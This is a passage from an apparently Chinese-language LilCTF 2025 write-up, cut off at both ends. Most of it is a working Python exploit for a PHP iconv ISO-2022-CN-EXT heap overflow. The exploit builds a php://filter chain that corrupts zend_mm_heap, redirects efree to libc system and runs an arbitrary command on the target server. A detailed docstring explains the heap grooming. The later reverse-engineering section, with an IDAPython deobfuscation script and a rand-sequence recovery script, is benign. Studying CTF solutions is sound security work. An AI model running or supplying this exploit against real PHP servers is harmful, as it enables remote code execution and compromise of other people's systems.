class="line"><span class="string">        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,</span></span><br><span class="line"><span class="string">        we&#x27;d have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.</span></span><br><span class="line"><span class="string">        That&#x27;s step 2.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        Now, if we were to perform step2 an then step3 without anything else, we&#x27;d have</span></span><br><span class="line"><span class="string">        a problem: after step2 has been processed, the free list goes bottom-up, like:</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        0x7fffAABBCCB00 -&gt; 0x7fffAABBCCA00 -&gt; 0x7fffAABBCC900</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        We need to go the other way around. That&#x27;s why we have step 1: it just allocates</span></span><br><span class="line"><span class="string">        chunks. When they get freed, they reverse the free list. Now step2 allocates in</span></span><br><span class="line"><span class="string">        reverse order, and therefore after step2, chunks are in the correct order.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        Another problem comes up.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.</span></span><br><span class="line"><span class="string">        Since step2 creates chunks that contain pointers and pointers are generally not</span></span><br><span class="line"><span class="string">        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.</span></span><br><span class="line"><span class="string">        To avoid this, we put the chunks in step2 at the very end of the chain, and</span></span><br><span class="line"><span class="string">        prefix them with `0\n`. When dechunked (right before the iconv), they will</span></span><br><span class="line"><span class="string">        &quot;disappear&quot; from the chain, preserving them from the character set conversion</span></span><br><span class="line"><span class="string">        and saving us from an unwanted processing error that would stop the processing</span></span><br><span class="line"><span class="string">        chain.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        After step3 we have a corrupted freelist with an arbitrary pointer into it. We</span></span><br><span class="line"><span class="string">        don&#x27;t know the precise layout of the heap, but we know that at the top of the</span></span><br><span class="line"><span class="string">        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.</span></span><br><span class="line"><span class="string">        Its free_slot[] array contains a pointer to each free list. By overwriting it,</span></span><br><span class="line"><span class="string">        we can make PHP allocate chunks whereever we want. In addition, its custom_heap</span></span><br><span class="line"><span class="string">        field contains pointers to hook functions for emalloc, efree, and erealloc</span></span><br><span class="line"><span class="string">        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and</span></span><br><span class="line"><span class="string">        then overwrite the use_custom_heap flag to make PHP use these function pointers</span></span><br><span class="line"><span class="string">        instead. We can now do our favorite CTF technique and get a call to</span></span><br><span class="line"><span class="string">        system(&lt;chunk&gt;).</span></span><br><span class="line"><span class="string">        We make sure that the &quot;system&quot; command kills the current process to avoid other</span></span><br><span class="line"><span class="string">        system() calls with random chunk data, leading to undefined behaviour.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        The pad blocks just &quot;pad&quot; our allocations so that even if the heap of the</span></span><br><span class="line"><span class="string">        process is in a random state, we still get contiguous, in order chunks for our</span></span><br><span class="line"><span class="string">        exploit.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        Therefore, the whole process described here CANNOT crash. Everything falls</span></span><br><span class="line"><span class="string">        perfectly in place, and nothing can get in the middle of our allocations.</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">    </span><br><span class="line">        LIBC = self.info[<span class="string">&quot;libc&quot;</span>]</span><br><span class="line">        ADDR_EMALLOC = LIBC.symbols[<span class="string">&quot;__libc_malloc&quot;</span>]</span><br><span class="line">        ADDR_EFREE = LIBC.symbols[<span class="string">&quot;__libc_system&quot;</span>]</span><br><span class="line">        ADDR_EREALLOC = LIBC.symbols[<span class="string">&quot;__libc_realloc&quot;</span>]</span><br><span class="line">    </span><br><span class="line">        ADDR_HEAP = self.info[<span class="string">&quot;heap&quot;</span>]</span><br><span class="line">        ADDR_FREE_SLOT = ADDR_HEAP + <span class="number">0x20</span></span><br><span class="line">        ADDR_CUSTOM_HEAP = ADDR_HEAP + <span class="number">0x0168</span></span><br><span class="line">    </span><br><span class="line">        ADDR_FAKE_BIN = ADDR_FREE_SLOT - <span class="number">0x10</span></span><br><span class="line">    </span><br><span class="line">        CS = <span class="number">0x100</span></span><br><span class="line">    </span><br><span class="line">        <span class="comment"># Pad needs to stay at size 0x100 at every step</span></span><br><span class="line">        pad_size = CS - <span class="number">0x18</span></span><br><span class="line">        pad = <span class="string">b&quot;\x00&quot;</span> * pad_size</span><br><span class="line">        pad = chunked_chunk(pad, <span class="built_in">len</span>(pad) + <span class="number">6</span>)</span><br><span class="line">        pad = chunked_chunk(pad, <span class="built_in">len</span>(pad) + <span class="number">6</span>)</span><br><span class="line">        pad = chunked_chunk(pad, <span class="built_in">len</span>(pad) + <span class="number">6</span>)</span><br><span class="line">        pad = compressed_bucket(pad)</span><br><span class="line">    </span><br><span class="line">        step1_size = <span class="number">1</span></span><br><span class="line">        step1 = <span class="string">b&quot;\x00&quot;</span> * step1_size</span><br><span class="line">        step1 = chunked_chunk(step1)</span><br><span class="line">        step1 = chunked_chunk(step1)</span><br><span class="line">        step1 = chunked_chunk(step1, CS)</span><br><span class="line">        step1 = compressed_bucket(step1)</span><br><span class="line">    </span><br><span class="line">        <span class="comment"># Since these chunks contain non-UTF-8 chars, we cannot let it get converted to</span></span><br><span class="line">        <span class="comment"># ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk &quot;crash&quot;</span></span><br><span class="line">    </span><br><span class="line">        step2_size = <span class="number">0x48</span></span><br><span class="line">        step2 = <span class="string">b&quot;\x00&quot;</span> * (step2_size + <span class="number">8</span>)</span><br><span class="line">        step2 = chunked_chunk(step2, CS)</span><br><span class="line">        step2 = chunked_chunk(step2)</span><br><span class="line">        step2 = compressed_bucket(step2)</span><br><span class="line">    </span><br><span class="line">        step2_write_ptr = <span class="string">b&quot;0\n&quot;</span>.ljust(step2_size, <span class="string">b&quot;\x00&quot;</span>) + p64(ADDR_FAKE_BIN)</span><br><span class="line">        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)</span><br><span class="line">        step2_write_ptr = chunked_chunk(step2_write_ptr)</span><br><span class="line">        step2_write_ptr = compressed_bucket(step2_write_ptr)</span><br><span class="line">    </span><br><span class="line">        step3_size = CS</span><br><span class="line">    </span><br><span class="line">        step3 = <span class="string">b&quot;\x00&quot;</span> * step3_size</span><br><span class="line">        <span class="keyword">assert</span> <span class="built_in">len</span>(step3) == CS</span><br><span class="line">        step3 = chunked_chunk(step3)</span><br><span class="line">        step3 = chunked_chunk(step3)</span><br><span class="line">        step3 = chunked_chunk(step3)</span><br><span class="line">        step3 = compressed_bucket(step3)</span><br><span class="line">    </span><br><span class="line">        step3_overflow = <span class="string">b&quot;\x00&quot;</span> * (step3_size - <span class="built_in">len</span>(BUG)) + BUG</span><br><span class="line">        <span class="keyword">assert</span> <span class="built_in">len</span>(step3_overflow) == CS</span><br><span class="line">        step3_overflow = chunked_chunk(step3_overflow)</span><br><span class="line">        step3_overflow = chunked_chunk(step3_overflow)</span><br><span class="line">        step3_overflow = chunked_chunk(step3_overflow)</span><br><span class="line">        step3_overflow = compressed_bucket(step3_overflow)</span><br><span class="line">    </span><br><span class="line">        step4_size = CS</span><br><span class="line">        step4 = <span class="string">b&quot;=00&quot;</span> + <span class="string">b&quot;\x00&quot;</span> * (step4_size - <span class="number">1</span>)</span><br><span class="line">        step4 = chunked_chunk(step4)</span><br><span class="line">        step4 = chunked_chunk(step4)</span><br><span class="line">        step4 = chunked_chunk(step4)</span><br><span class="line">        step4 = compressed_bucket(step4)</span><br><span class="line">    </span><br><span class="line">        <span class="comment"># This chunk will eventually overwrite mm_heap-&gt;free_slot</span></span><br><span class="line">        <span class="comment"># it is actually allocated 0x10 bytes BEFORE it, thus the two filler values</span></span><br><span class="line">        step4_pwn = ptr_bucket(</span><br><span class="line">            <span class="number">0x200000</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="comment"># free_slot</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            ADDR_CUSTOM_HEAP,  <span class="comment"># 0x18</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            ADDR_HEAP,  <span class="comment"># 0x140</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            size=CS,</span><br><span class="line">        )</span><br><span class="line">    </span><br><span class="line">        step4_custom_heap = ptr_bucket(</span><br><span class="line">            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=<span class="number">0x18</span></span><br><span class="line">        )</span><br><span class="line">    </span><br><span class="line">        step4_use_custom_heap_size = <span class="number">0x140</span></span><br><span class="line">    </span><br><span class="line">        COMMAND = self.command</span><br><span class="line">        COMMAND = <span class="string">f&quot;kill -9 $PPID; <span class="subst">&#123;COMMAND&#125;</span>&quot;</span></span><br><span class="line">        <span class="keyword">if</span> self.sleep:</span><br><span class="line">            COMMAND = <span class="string">f&quot;sleep <span class="subst">&#123;self.sleep&#125;</span>; <span class="subst">&#123;COMMAND&#125;</span>&quot;</span></span><br><span class="line">        COMMAND = COMMAND.encode() + <span class="string">b&quot;\x00&quot;</span></span><br><span class="line">    </span><br><span class="line">        <span class="keyword">assert</span> (</span><br><span class="line">            <span class="built_in">len</span>(COMMAND) &lt;= step4_use_custom_heap_size</span><br><span class="line">        ), <span class="string">f&quot;Command too big (<span class="subst">&#123;<span class="built_in">len</span>(COMMAND)&#125;</span>), it must be strictly inferior to <span class="subst">&#123;<span class="built_in">hex</span>(step4_use_custom_heap_size)&#125;</span>&quot;</span></span><br><span class="line">        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, <span class="string">b&quot;\x00&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        step4_use_custom_heap = COMMAND</span><br><span class="line">        step4_use_custom_heap = qpe(step4_use_custom_heap)</span><br><span class="line">        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)</span><br><span class="line">        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)</span><br><span class="line">        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)</span><br><span class="line">        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)</span><br><span class="line">    </span><br><span class="line">        pages = (</span><br><span class="line">            step4 * <span class="number">3</span></span><br><span class="line">            + step4_pwn</span><br><span class="line">            + step4_custom_heap</span><br><span class="line">            + step4_use_custom_heap</span><br><span class="line">            + step3_overflow</span><br><span class="line">            + pad * self.pad</span><br><span class="line">            + step1 * <span class="number">3</span></span><br><span class="line">            + step2_write_ptr</span><br><span class="line">            + step2 * <span class="number">2</span></span><br><span class="line">        )</span><br><span class="line">    </span><br><span class="line">        resource = compress(compress(pages))</span><br><span class="line">        <span class="comment">#resource = b64(resource)</span></span><br><span class="line">        <span class="comment">#resource = f&quot;data:text/plain;base64,&#123;resource.decode()&#125;&quot;</span></span><br><span class="line">        <span class="comment">#resource = f&quot;&#123;resource.decode()&#125;&quot;</span></span><br><span class="line">        filters = [</span><br><span class="line">            <span class="comment"># Create buckets</span></span><br><span class="line">            <span class="string">&quot;zlib.inflate&quot;</span>,</span><br><span class="line">            <span class="string">&quot;zlib.inflate&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># Step 0: Setup heap</span></span><br><span class="line">            <span class="string">&quot;dechunk&quot;</span>,</span><br><span class="line">            <span class="string">&quot;convert.iconv.L1.L1&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># Step 1: Reverse FL order</span></span><br><span class="line">            <span class="string">&quot;dechunk&quot;</span>,</span><br><span class="line">            <span class="string">&quot;convert.iconv.L1.L1&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># Step 2: Put fake pointer and make FL order back to normal</span></span><br><span class="line">            <span class="string">&quot;dechunk&quot;</span>,</span><br><span class="line">            <span class="string">&quot;convert.iconv.L1.L1&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># Step 3: Trigger overflow</span></span><br><span class="line">            <span class="string">&quot;dechunk&quot;</span>,</span><br><span class="line">            <span class="string">&quot;convert.iconv.UTF-8.ISO-2022-CN-EXT&quot;</span>,</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># Step 4: Allocate at arbitrary address and change zend_mm_heap</span></span><br><span class="line">            <span class="string">&quot;convert.quoted-printable-decode&quot;</span>,</span><br><span class="line">            <span class="string">&quot;convert.iconv.L1.L1&quot;</span>,</span><br><span class="line">        ]</span><br><span class="line">        filters = <span class="string">&quot;|&quot;</span>.join(filters)</span><br><span class="line">    </span><br><span class="line">        path = <span class="string">f&quot;php://filter/read=<span class="subst">&#123;filters&#125;</span>/resource=/tmp/io&quot;</span></span><br><span class="line">    </span><br><span class="line">        <span class="keyword">return</span> path,resource</span><br><span class="line">    </span><br><span class="line"><span class="meta">    @inform(<span class="params"><span class="string">&quot;Triggering...&quot;</span></span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">exploit</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        path,resource = self.build_exploit_path()</span><br><span class="line">        start = time.time()</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="comment">#print(resource)</span></span><br><span class="line">            <span class="built_in">print</span>(path)</span><br><span class="line">            self.remote.dataio(resource)</span><br><span class="line">            self.remote.include(path)</span><br><span class="line">        <span class="keyword">except</span> (ConnectionError, ChunkedEncodingError):</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">        </span><br><span class="line">        msg_print()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> self.sleep:</span><br><span class="line">            msg_print(<span class="string">&quot;    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]&quot;</span>)</span><br><span class="line">        <span class="keyword">elif</span> start + self.sleep &lt;= time.time():</span><br><span class="line">            msg_print(<span class="string">&quot;    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># Wrong heap, maybe? If the exploited suggested others, use them!</span></span><br><span class="line">            msg_print(<span class="string">&quot;    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        msg_print()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">compress</span>(<span class="params">data</span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Returns data suitable for `zlib.inflate`.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># Remove 2-byte header and 4-byte checksum</span></span><br><span class="line">    <span class="keyword">return</span> zlib.compress(data, <span class="number">9</span>)[<span class="number">2</span>:-<span class="number">4</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">b64</span>(<span class="params">data: <span class="built_in">bytes</span>, misalign=<span class="literal">True</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    payload = base64.encode(data)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> misalign <span class="keyword">and</span> payload.endswith(<span class="string">&quot;=&quot;</span>):</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">f&quot;Misaligned: <span class="subst">&#123;data&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> payload.encode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">compressed_bucket</span>(<span class="params">data: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Returns a chunk of size 0x8000 that, when dechunked, returns the data.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> chunked_chunk(data, <span class="number">0x8000</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">qpe</span>(<span class="params">data: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Emulates quoted-printable-encode.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span>.join(<span class="string">f&quot;=<span class="subst">&#123;x:02x&#125;</span>&quot;</span> <span class="keyword">for</span> x <span class="keyword">in</span> data).upper().encode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ptr_bucket</span>(<span class="params">*ptrs, size=<span class="literal">None</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Creates a 0x8000 chunk that reveals pointers after every step has been ran.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">if</span> size <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">assert</span> <span class="built_in">len</span>(ptrs) * <span class="number">8</span> == size</span><br><span class="line">    bucket = <span class="string">b&quot;&quot;</span>.join(<span class="built_in">map</span>(p64, ptrs))</span><br><span class="line">    bucket = qpe(bucket)</span><br><span class="line">    bucket = chunked_chunk(bucket)</span><br><span class="line">    bucket = chunked_chunk(bucket)</span><br><span class="line">    bucket = chunked_chunk(bucket)</span><br><span class="line">    bucket = compressed_bucket(bucket)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> bucket</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">chunked_chunk</span>(<span class="params">data: <span class="built_in">bytes</span>, size: <span class="built_in">int</span> = <span class="literal">None</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Constructs a chunked representation of the given chunk. If size is given, the</span></span><br><span class="line"><span class="string">    chunked representation has size `size`.</span></span><br><span class="line"><span class="string">    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment"># The caller does not care about the size: let&#x27;s just add 8, which is more than</span></span><br><span class="line">    <span class="comment"># enough</span></span><br><span class="line">    <span class="keyword">if</span> size <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        size = <span class="built_in">len</span>(data) + <span class="number">8</span></span><br><span class="line">    keep = <span class="built_in">len</span>(data) + <span class="built_in">len</span>(<span class="string">b&quot;\n\n&quot;</span>)</span><br><span class="line">    size = <span class="string">f&quot;<span class="subst">&#123;<span class="built_in">len</span>(data):x&#125;</span>&quot;</span>.rjust(size - keep, <span class="string">&quot;0&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> size.encode() + <span class="string">b&quot;\n&quot;</span> + data + <span class="string">b&quot;\n&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@dataclass</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Region</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;A memory region.&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    start: <span class="built_in">int</span></span><br><span class="line">    stop: <span class="built_in">int</span></span><br><span class="line">    permissions: <span class="built_in">str</span></span><br><span class="line">    path: <span class="built_in">str</span></span><br><span class="line">    </span><br><span class="line"><span class="meta">    @property</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">size</span>(<span class="params">self</span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">        <span class="keyword">return</span> self.stop - self.start</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Exploit()</span><br></pre></td></tr></table></figure><h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><h3 id="obfusheader-h"><a href="#obfusheader-h" class="headerlink" title="obfusheader.h"></a><strong>obfusheader.h</strong></h3><p>程序被混淆的比较严重, 发现xor ,eax, eax; jz ptr+1类型的花指令, 可以通过IDAPython匹配这个格式然后全部nop, 程序的控制流静态稍微会好看一些</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> ida_bytes</span><br><span class="line"><span class="keyword">import</span> ida_kernwin</span><br><span class="line"><span class="keyword">import</span> idc</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">patch_pattern_to_nop</span>():</span><br><span class="line">    pattern = [<span class="number">0x48</span>, <span class="number">0x31</span>, <span class="number">0xC0</span>, <span class="number">0x74</span>, <span class="number">0x01</span>, <span class="number">0x00</span>]</span><br><span class="line">    </span><br><span class="line">    start_ea = idc.get_inf_attr(idc.INF_MIN_EA)</span><br><span class="line">    end_ea = idc.get_inf_attr(idc.INF_MAX_EA)</span><br><span class="line">    </span><br><span class="line">    current_ea = start_ea</span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> current_ea &lt; end_ea:</span><br><span class="line">        <span class="keyword">match</span> = <span class="literal">True</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(pattern)):</span><br><span class="line">            <span class="keyword">if</span> idc.get_wide_byte(current_ea + i) != pattern[i]:</span><br><span class="line">                <span class="keyword">match</span> = <span class="literal">False</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">match</span>:</span><br><span class="line">            <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(pattern)):</span><br><span class="line">                idc.patch_byte(current_ea + i, <span class="number">0x90</span>)</span><br><span class="line">            count += <span class="number">1</span></span><br><span class="line">            current_ea += <span class="built_in">len</span>(pattern)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            current_ea += <span class="number">1</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Patched <span class="subst">&#123;count&#125;</span> occurrences&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    patch_pattern_to_nop()</span><br></pre></td></tr></table></figure><p>然后还有一些其他的混淆, 函数返回常量干扰IDA数据流分析, 全局变量代替常量等, 后者可以设置data段只读来去除, 前者暂时没找到好的方法, 不过不影响动态分析</p><p>根据题目的描述, 可以分析程序的数据流, 找到用户的输入会存放在全局变量0x14003A040的位置, 给这一片内存下内存断点来监控这一段数据的读写, flag的长度通过测试是40个字节, 打完断点后运行走到第一个处理的位置</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/75e29dc2-c499-4314-b792-871378258090.png"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">sub_140007842</span><span class="params">(<span class="type">char</span> *a1, <span class="type">unsigned</span> __int64 a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+2Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    result = a2 &gt;&gt; <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> ( i &gt;= a2 &gt;&gt; <span class="number">1</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    *(_WORD *)&amp;a1[<span class="number">2</span> * i] ^= rand();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于已经在动调了, 要获取这个rand序列只需要获取异或之后的数据和异或之前的数据即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">before_str = <span class="string">&quot;LILCTF&#123;12341234123412341234123412341234&#125;&quot;</span></span><br><span class="line">after_bytes = [</span><br><span class="line">    <span class="number">0x3A</span>, <span class="number">0x05</span>, <span class="number">0xF4</span>, <span class="number">0x3E</span>, <span class="number">0x30</span>, <span class="number">0x01</span>, <span class="number">0x83</span>, <span class="number">0x61</span>, <span class="number">0x95</span>, <span class="number">0x70</span>, <span class="number">0xFC</span>, <span class="number">0x02</span>,</span><br><span class="line">    <span class="number">0xB5</span>, <span class="number">0x54</span>, <span class="number">0xE0</span>, <span class="number">0x58</span>, <span class="number">0x4C</span>, <span class="number">0x7F</span>, <span class="number">0x75</span>, <span class="number">0x50</span>, <span class="number">0x56</span>, <span class="number">0x73</span>, <span class="number">0x91</span>, <span class="number">0x3E</span>,</span><br><span class="line">    <span class="number">0x21</span>, <span class="number">0x7E</span>, <span class="number">0x9D</span>, <span class="number">0x4E</span>, <span class="number">0xCB</span>, <span class="number">0x12</span>, <span class="number">0xF4</span>, <span class="number">0x6D</span>, <span class="number">0x44</span>, <span class="number">0x24</span>, <span class="number">0xAA</span>, <span class="number">0x44</span>,</span><br><span class="line">    <span class="number">0xCF</span>, <span class="number">0x32</span>, <span class="number">0x78</span>, <span class="number">0x4E</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">before_bytes = before_str.encode(<span class="string">&#x27;ascii&#x27;</span>)</span><br><span class="line">rand_sequence = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(before_bytes), <span class="number">2</span>):</span><br><span class="line">    before_word = before_bytes[i] | (before_bytes[i+<span class="number">1</span>] &lt;&lt; <span class="number">8</span>)</span><br><span class="line">    after_word = after_bytes[i] | (after_bytes[i+<span class="number">1</span>] &lt;&lt; <span class="number">8</span>)</span><br><span class="line">    rand_val = before_word ^ after_word</span><br><span class="line">    rand_sequence.append(rand_val)</span><br><span class="line"></span><br><span class="line">verification_bytes = []</span><br><span class="line"><span class="keyword">for</span> i, rand_val <span class="keyword">in</span> <span class="built_in">enumerate</span>(rand_sequence):</span><br><span class="line">    byte_index = i * <span class="number">2</span></span><br><span class="line">    before_word = before_bytes[byte_index] | (before_bytes[byte_index+<span class="number">1</span>] &lt;&lt; <span class="number">8</span>)</span><br><span class="line">    re_encrypted_word = before_word ^ rand_val</span><br><span class="line">    verification_bytes.append(re_encrypted_word &amp; <span class="number">0xFF</span>)</span><br><span class="line">    verification_bytes.append((re_encrypted_word &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFF</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> verification_bytes == after_bytes, <span class="string">&quot;Verification failed: rand sequence is incorrect.&quot;</span></span><br><span class="line"></span><br><span class="line"><span 